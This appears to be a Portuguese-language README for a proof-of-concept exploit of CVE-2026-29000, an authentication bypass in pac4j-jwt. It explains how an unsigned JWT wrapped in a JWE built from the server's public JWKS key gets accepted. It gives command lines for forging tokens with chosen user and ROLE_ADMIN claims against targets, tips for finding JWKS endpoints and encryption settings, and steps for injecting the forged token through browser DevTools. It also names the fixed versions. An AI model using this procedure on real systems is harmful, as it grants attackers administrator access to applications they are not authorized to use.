
CVE-2026-29000 PoC: bypass de autenticação PlainJWT-in-JWE no pac4j-jwt.
Prova de conceito para CVE-2026-29000. Visa versões do pac4j-jwt anteriores a 4.5.9, 5.7.9 e 6.3.3.
A vulnerabilidade é direta: a biblioteca aceita um PlainJWT (sem assinatura, alg=none) desde que esteja encapsulado em um JWE válido. Como o servidor expõe sua chave pública RSA por meio de um endpoint JWKS, qualquer pessoa pode criptografar um JWT arbitrário sem assinatura em um JWE no qual o servidor confiará — incluindo um com ROLE_ADMIN.
alg=none) com as claims que desejarO servidor o descriptografa, confia nas claims internas e nunca verifica se o JWT interno não possui assinatura.
Python 3.13+ com uv, ou instale as dependências manualmente:
pip install jwcrypto requests
[uv run / python3] CVE-2026-29000.py --url <base_url> --jwks <jwks_path> [opções]
Obrigatório:
| flag | descrição |
|---|---|
--url | URL base do alvo, ex.: http://10.10.11.x:8080 |
--jwks | caminho ou URL completa do endpoint JWKS |
Opcional:
Exemplos:
python3 exploit.py --url http://10.10.11.x:8080 --jwks /api/auth/jwks
python3 exploit.py --url http://10.10.11.x:8080 --jwks /api/auth/jwks --user john --role ROLE_ADMIN
python3 exploit.py --url http://10.10.11.x:8080 --jwks /.well-known/jwks.json --enc A128GCM
Nem sempre é óbvio. Bons lugares para procurar:
/robots.txt — frequentemente lista caminhos restritos ou internos/api/auth/jwks/.well-known/jwks.json/.well-known/openid-configurationSe o token for rejeitado, o aplicativo pode esperar um algoritmo de criptografia específico. Verifique /static/js/app.js para algo como:
const JWE_ALG = "RSA-OAEP-256";
const JWE_ENC = "A128GCM";
Em seguida, execute novamente com --enc A128GCM.
O método de armazenamento do token também costuma estar lá:
class TokenManager {
static getToken() {
return sessionStorage.getItem('auth_token');
}
}
Se for sessionStorage, troque o token diretamente no DevTools em Application > Session Storage.
Corrigido nas versões 4.5.9, 5.7.9 e 6.3.3.
| flag | padrão | descrição |
|---|
--user | admin | valor para a claim sub |
--role | ROLE_ADMIN | papel a forjar (ROLE_ADMIN, ROLE_MANAGER, ROLE_USER) |
--issuer | principal-platform | valor para a claim iss |
--enc | A256GCM | criptografia de conteúdo do JWE (A256GCM ou A128GCM) |